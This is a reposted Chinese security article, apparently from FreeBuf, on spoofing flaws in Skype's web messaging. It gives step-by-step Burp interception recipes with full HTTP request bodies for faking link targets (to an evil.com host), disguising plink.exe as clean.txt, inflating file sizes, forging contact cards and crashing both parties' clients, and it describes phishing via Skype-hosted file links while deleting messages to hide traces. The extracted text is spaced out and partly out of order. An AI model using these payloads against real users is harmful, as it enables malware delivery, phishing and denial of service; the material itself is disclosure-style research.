搜索

[16509] 2021-03-03_针对Skype的欺骗&攻击研究

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-03-03_针对Skype的欺骗&攻击研究 针 对 S k y p e 的 欺 骗 & 攻 击 研 究 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 3 - 0 3 众 所 周 知 ， S k y p e 中 存 储 在 这 大 量 的 欺 骗 攻 击 漏 洞 ， 但 微 软 却 不 认 为 这 些 漏 洞 需 要 “ 立 即 提 供 安 全 修 复 服 务 ” 。 漏 洞 介 绍 漏 洞 介 绍 在 我 们 的 一 次 漏 洞 挖 掘 过 程 中 ， 我 们 对 w e b . s k y p e . c o m 域 名 进 行 了 测 试 。 在 进 行 了 完 整 的 测 试 之 后 ， 我 们 发 现 其 信 息 功 能 中 并 没 有 任 何 防 止 信 息 篡 改 的 安 全 保 护 机 制 ， 因 此 这 里 可 能 会 存 在 欺 骗 攻 击 的 风 险 。 在 本 文 发 稿 时 ， 所 有 提 到 的 漏 洞 仍 然 存 在 。 不 过 ， 微 软 并 不 认 为 这 些 漏 洞 严 重 到 需 要 立 即 进 行 修 复 ， 不 过 可 能 会 在 将 来 的 版 本 中 进 行 修 复 。 链 接 欺 骗 链 接 欺 骗 如 果 你 想 要 让 某 人 访 问 一 个 链 接 ， 其 实 是 非 常 简 单 且 有 效 的 。 我 们 一 起 来 看 一 看 该 怎 么 做 ！ 第 一 步 ， 以 下 列 形 式 发 送 你 想 要 伪 装 的 链 接 ： 第 二 步 ， 拦 截 请 求 ， 当 你 查 看 到 下 列 请 求 内 容 的 时 候 再 进 行 转 发 ： 第 三 步 ， 在 请 求 的 “ h r e f ” 属 性 以 及 “ u r l p r e v i e w s ” 键 的 “ k e y ” 属 性 中 插 入 你 想 要 的 链 接 ： 伪 造 的 U R L 将 显 示 在 信 息 的 底 部 位 置 。 为 了 克 服 这 个 问 题 ， 只 需 创 建 一 个 真 实 的 子 域 。 比 如 说 ： g o o g l e . i m a g e . v i e w . e v i l . c o m P O S T   / v 1 / u s e r s / M E / c o n v e r s a t i o n s / 1 9 % R E D A C T E D % 4 0 t h r e a d . s k y p e / m e s s a g e s ? x - e c s - e t a g =   H T T P / 1 . 1 H o s t :   a z w u s 1 - c l i e n t - s . g a t e w a y . m e s s e n g e r . l i v e . c o m . . . { " c l i e n t m e s s a g e i d " : " 1 2 3 4 5 6 7 8 9 " , " c o m p o s e t i m e " : " 2 0 2 1 - 0 2 - 0 1 T 2 3 : 0 5 : 3 2 . 5 4 6 Z " , " c o n t e n t " : " < a   h r e f = " h t t p s : / / g o o g l e . c o m " > h t t p s : / / g o o g l e . c o m < / a > " , " m e s s a g e t y p e " : " R i c h T e x t " , " c o n t e n t t y p e " : " t e x t " , " i m d i s p l a y n a m e " : " m r   d 0 x " ' > < h 1 > h i < / h 1 > " , " p r o p e r t i e s " : {         " u r l p r e v i e w s " : " [ { " k e y " : " h t t p s : / / g o o g l e . c o m " , " v a l u e " : { " u r l " : " h t t p s : / / g o o g l e . c o m " , " s i z e " : " 4 9 1 2 8 " , " s t a t u s _ c o d e " : " 2 0 0 " , " c o n t e n t _ t y p e " : " t e x t / h t m l " , " s i t e " : " w w w . g o o g l e . c o m " , " c a t e g o r y " : " g e n e r i c " , " t i t l e " : " G o o g l e " , " d e s c r i p t i o n " : " S e a r c h   t h e   w o r l d ' s   i n f o r m a t i o n ,   i n c l u d i n g   w e b p a g e s ,   i m a g e s ,   v i d e o s   a n d   m o r e .   G o o g l e   h a s   m a n y   s p e c i a l   f e a t u r e s   t o   h e l p   y o u   f i n d   e x a c t l y   w h a t   y o u ' r e   l o o k i n g   f o r . " , " f a v i c o n " : " h t t p s : / / n u s 1 - u r l p - s t a t i c . s e c u r e . s k y p e a s s e t s . c o m / s t a t i c / g o o g l e - 3 2 x 3 2 . i c o " , " f a v i c o n _ m e t a " : { " w i d t h " : 3 2 , " h e i g h t " : 3 2 } , " t h u m b n a i l " : " h t t p s : / / n u s 1 - u r l p - s t a t i c . s e c u r e . s k y p e a s s e t s . c o m / s t a t i c / g o o g l e - 9 0 x 9 0 . p n g " , " t h u m b n a i l _ m e t a " : { " w i d t h " : 9 0 , " h e i g h t " : 9 0 } , " u s e r _ p i c " : " " } } ] "         } } . . . " c o n t e n t " : " < a   h r e f = " h t t p s : / / e v i l . c o m " > h t t p s : / / g o o g l e . c o m < / a > " , . . . " u r l p r e v i e w s " : " [ { " k e y " : " h t t p s : / / e v i l . c o m " , . . .
文 件 名 欺 骗 文 件 名 欺 骗 在 该 漏 洞 的 帮 助 下 ， 我 们 将 能 够 使 用 伪 造 的 文 件 名 称 以 及 后 缀 来 给 任 意 用 户 发 送 文 件 。 我 们 发 现 了 多 种 实 现 方 法 ， 但 我 们 只 演 示 其 中 一 种 。 第 一 步 ， 与 任 意 用 户 开 启 聊 天 ， 然 后 点 击 “ A d d   f i l e s ” 添 加 文 件 ： 第 二 步 ， 选 择 你 的 恶 意 文 件 ： 第 三 步 ， 发 送 消 息 ， 使 用 B u r p 拦 截 消 息 ， 当 查 看 到 如 下 所 示 的 请 求 内 容 后 转 发 消 息 ： 第 四 步 ， 修 改 “ O r i g i n a l N a m e ” 值 ， 包 括 后 缀 名 ： 完 成 ！ 现 在 目 标 用 户 将 看 到 如 下 图 所 示 的 界 面 ： P O S T   / v 1 / u s e r s / M E / c o n v e r s a t i o n s / 1 9 % R E D A C T E D % 4 0 t h r e a d . s k y p e / m e s s a g e s ? x - e c s - e t a g =   H T T P / 1 . 1 H o s t :   a z w u s 1 - c l i e n t - s . g a t e w a y . m e s s e n g e r . l i v e . c o m . . . { " c l i e n t m e s s a g e i d " :   " 6 9 3 7 6 7 4 7 0 6 4 2 0 7 4 8 4 9 1 " , " c o m p o s e t i m e " :   " 2 0 2 1 - 0 1 - 3 1 T 2 0 : 1 3 : 3 8 . 2 4 9 Z " , " c o n t e n t " :   " < U R I O b j e c t   u r i = " h t t p s : / / a p i . a s m . s k y p e . c o m / v 1 / o b j e c t s / 0 - c u s - d 1 7 - R E D A C T E D "   u r l _ t h u m b n a i l = " h t t p s : / / a p i . a s m . s k y p e . c o m / v 1 / o b j e c t s / 0 - c u s - d 1 7 - R E D A C T E D / v i e w s / o r i g i n a l "   t y p e = " F i l e . 1 "   d o c _ i d = " 0 - c u s - d 1 7 - R E D A C T E D " > T o   v i e w   t h i s   f i l e ,   g o   t o :   < a   h r e f = " h t t p s : / / l o g i n . s k y p e . c o m / l o g i n / s s o ? g o = w e b c l i e n t . x m m & d o c i d = 0 - c u s - d 1 7 - R E D A C T E D " > h t t p s : / / l o g i n . s k y p e . c o m / l o g i n / s s o ? g o = w e b c l i e n t . x m m & d o c i d = 0 - c u s - d 1 7 - R E D A C T E D < / a > < O r i g i n a l N a m e   v = " p l i n k . e x e " > < / O r i g i n a l N a m e > < F i l e S i z e   v = " 3 1 1 2 9 6 " > < / F i l e S i z e > < / U R I O b j e c t > " , " m e s s a g e t y p e " :   " R i c h T e x t / M e d i a _ G e n e r i c F i l e " , " c o n t e n t t y p e " :   " t e x t " , " i m d i s p l a y n a m e " :   " m r   d 0 x " , " a m s r e f e r e n c e s " :   [         " 0 - c u s - d 1 7 - R E D A C T E D "         ] } < O r i g i n a l N a m e   v = " c l e a n . t x t " > < / O r i g i n a l N a m e >
点 击 “ D o w n l o a d ” 下 载 文 件 之 后 ， 原 始 文 件 名 将 会 显 示 出 来 ： 文 件 大 小 欺 骗 文 件 大 小 欺 骗 在 这 一 步 ， 我 们 需 要 重 复 上 述 的 操 作 ， 不 过 第 四 步 需 要 进 行 一 些 修 改 。 我 们 需 要 修 改 的 是 “ F i l e S i z e ” 值 ： 我 们 的 文 件 现 在 就 变 成 了 1 1 T B ： 共 享 名 片 欺 骗 共 享 名 片 欺 骗 在 与 他 人 分 享 联 系 人 名 片 时 ， 我 们 可 以 拦 截 请 求 并 修 改 名 片 显 示 的 名 称 和 用 户 名 ， 并 将 修 改 后 的 内 容 呈 现 给 目 标 用 户 ： 让 任 意 用 户 的 让 任 意 用 户 的 S k y p e 崩 溃 崩 溃 < F i l e S i z e   v = " 1 1 0 0 0 0 0 0 0 0 0 0 0 0 " > < / F i l e S i z e > P O S T   / v 1 / u s e r s / M E / c o n v e r s a t i o n s / 1 9 % R E D A C T E D % 4 0 t h r e a d . s k y p e / m e s s a g e s ? x - e c s - e t a g =   H T T P / 1 . 1 H o s t :   a z w u s 1 - c l i e n t - s . g a t e w a y . m e s s e n g e r . l i v e . c o m . . . { " c l i e n t m e s s a g e i d " : " 3 1 9 0 5 2 5 2 1 9 5 0 6 4 2 9 1 " , " c o m p o s e t i m e " : " 2 0 2 1 - 0 1 - 3 1 T 2 0 : 0 2 : 3 9 . 2 3 0 Z " , " c o n t e n t " : " < c o n t a c t s > < c   t = " s "   s = " e v i l . a c c o u n t "   f = " I t ' s   B o b ! " > < / c > < / c o n t a c t s > " , " m e s s a g e t y p e " : " R i c h T e x t / C o n t a c t s " , " c o n t e n t t y p e " : " t e x t " , " i m d i s p l a y n a m e " : " m r   d 0 x " , " p r o p e r t i e s " : {         " f o r w a r d M e t a d a t a " : " { " i s F o r w a r d e d " : f a l s e } "         } }
在 修 改 请 求 主 体 中 “ c o n t e n t ” 值 时 ， 我 不 小 心 放 置 了 太 多 的 标 签 ， 结 果 导 致 了 对 话 两 端 （ 攻 击 者 和 目 标 用 户 ） 的 S k y p e 发 生 了 崩 溃 ， 并 导 致 聊 天 内 容 永 久 性 的 无 法 访 问 。 而 且 ， 每 当 双 方 试 图 打 开 这 个 对 话 框 时 ， 双 方 的 S k y p e 都 会 崩 溃 。 我 所 使 用 的 我 所 使 用 的 P a y l o a d 如 下 ： 如 下 ： 结 果 如 下 ： 结 果 如 下 ： 这 将 导 致 W e b 端 和 桌 面 客 户 端 的 S k y p e 都 发 生 崩 溃 。 不 过 ， 手 机 端 的 S k p y e 应 用 程 序 不 会 崩 溃 。 使 用 使 用 S k y p e 的 域 名 进 行 网 络 钓 鱼 攻 击 的 域 名 进 行 网 络 钓 鱼 攻 击 当 你 在 聊 天 框 发 送 一 个 文 件 时 ， 它 首 先 被 上 传 到 S k y p e 的 服 务 器 上 ， 然 后 聊 天 中 的 每 个 用 户 都 可 以 访 问 该 文 件 。 无 论 正 在 聊 天 的 是 否 是 好 友 ， 就 算 你 删 除 了 这 个 文 件 ， 其 他 用 户 仍 然 可 以 正 常 访 问 。 该 文 件 的 链 接 现 在 可 以 通 过 电 子 邮 件 发 送 到 目 标 ， 如 果 他 们 的 O u t l o o k / O 3 6 5 帐 户 上 有 活 动 会 话 ， 则 该 链 接 允 许 他 们 直 接 下 载 该 文 件 。 第 一 步 ， 向 目 标 用 户 发 送 或 转 发 文 件 ， 忽 略 错 误 通 知 ： 第 二 步 ， 拦 截 请 求 ， 当 你 看 到 下 列 请 求 内 容 时 转 发 请 求 ： 下 载 链 接 位 于 u r l _ t h u m b n a i l 中 ： 第 三 步 ， 删 除 消 息 以 隐 藏 痕 迹 。 现 在 我 们 就 可 以 使 用 该 链 接 对 目 标 进 行 网 络 钓 鱼 攻 击 了 ， 由 于 S k y p e 的 域 名 是 一 个 受 信 任 的 域 名 ， 因 此 我 们 不 需 要 担 心 钓 鱼 邮 件 被 安 全 产 品 标 记 或 检 测 到 。 总 结 总 结 S k y p e 不 会 对 其 消 息 传 递 组 件 进 行 任 何 类 型 的 篡 改 验 证 ， 因 此 任 何 内 容 都 可 能 被 欺 骗 。 精 彩 推 荐 精 彩 推 荐 " c o n t e n t " : " < c o n t a c t s > < U R I O b j e c t > < h 1 > < a   h r e f = " h t t p s : / / g o o g l e . c o m   "   t = " s "   s = "   > < c o n t a c t s > < c   t = " s "   s = " e v i l . a c c o u n t "   f = " M r . d 0 x " > < / c > < / c o n t a c t s >   < / a > < / h 1 > < / U R I O b j e c t > < / P O S T   / v 1 / u s e r s / M E / c o n v e r s a t i o n s / 1 9 % R E D A C T E D % 4 0 t h r e a d . s k y p e / m e s s a g e s ? x - e c s - e t a g =   H T T P / 1 . 1 H o s t :   a z w u s 1 - c l i e n t - s . g a t e w a y . m e s s e n g e r . l i v e . c o m . . . { " c l i e n t m e s s a g e i d " :   " 6 9 3 7 6 7 4 7 0 6 4 2 0 7 4 8 4 9 1 " , " c o m p o s e t i m e " :   " 2 0 2 1 - 0 1 - 3 1 T 2 0 : 1 3 : 3 8 . 2 4 9 Z " , " c o n t e n t " :   " < U R I O b j e c t   u r i = " h t t p s : / / a p i . a s m . s k y p e . c o m / v 1 / o b j e c t s / 0 - c u s - d 1 7 - R E D A C T E D "   u r l _ t h u m b n a i l = " h t t p s : / / a p i . a s m . s k y p e . c o m / v 1 / o b j e c t s / 0 - c u s - d 1 7 - R E D A C T E D / v i e w s / o r i g i n a l "   t y p e = " F i l e . 1 "   d o c _ i d = " 0 - c u s - d 1 7 - R E D A C T E D " > T o   v i e w   t h i s   f i l e ,   g o   t o :   < a   h r e f = " h t t p s : / / l o g i n . s k y p e . c o m / l o g i n / s s o ? g o = w e b c l i e n t . x m m & d o c i d = 0 - c u s - d 1 7 - R E D A C T E D " > h t t p s : / / l o g i n . s k y p e . c o m / l o g i n / s s o ? g o = w e b c l i e n t . x m m & d o c i d = 0 - c u s - d 1 7 - R E D A C T E D < / a > < O r i g i n a l N a m e   v = " p l i n k . e x e " > < / O r i g i n a l N a m e > < F i l e S i z e   v = " 3 1 1 2 9 6 " > < / F i l e S i z e > < / U R I O b j e c t > " , " m e s s a g e t y p e " :   " R i c h T e x t / M e d i a _ G e n e r i c F i l e " , " c o n t e n t t y p e " :   " t e x t " , " i m d i s p l a y n a m e " :   " m r   d 0 x " , " a m s r e f e r e n c e s " :   [         " 0 - c u s - d 1 7 - R E D A C T E D "         ] } h t t p s : / / a p i . a s m . s k y p e . c o m / v 1 / o b j e c t s / 0 - c u s - d 1 7 - R E D A C T E D / v i e w s / o r i g i n a l
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理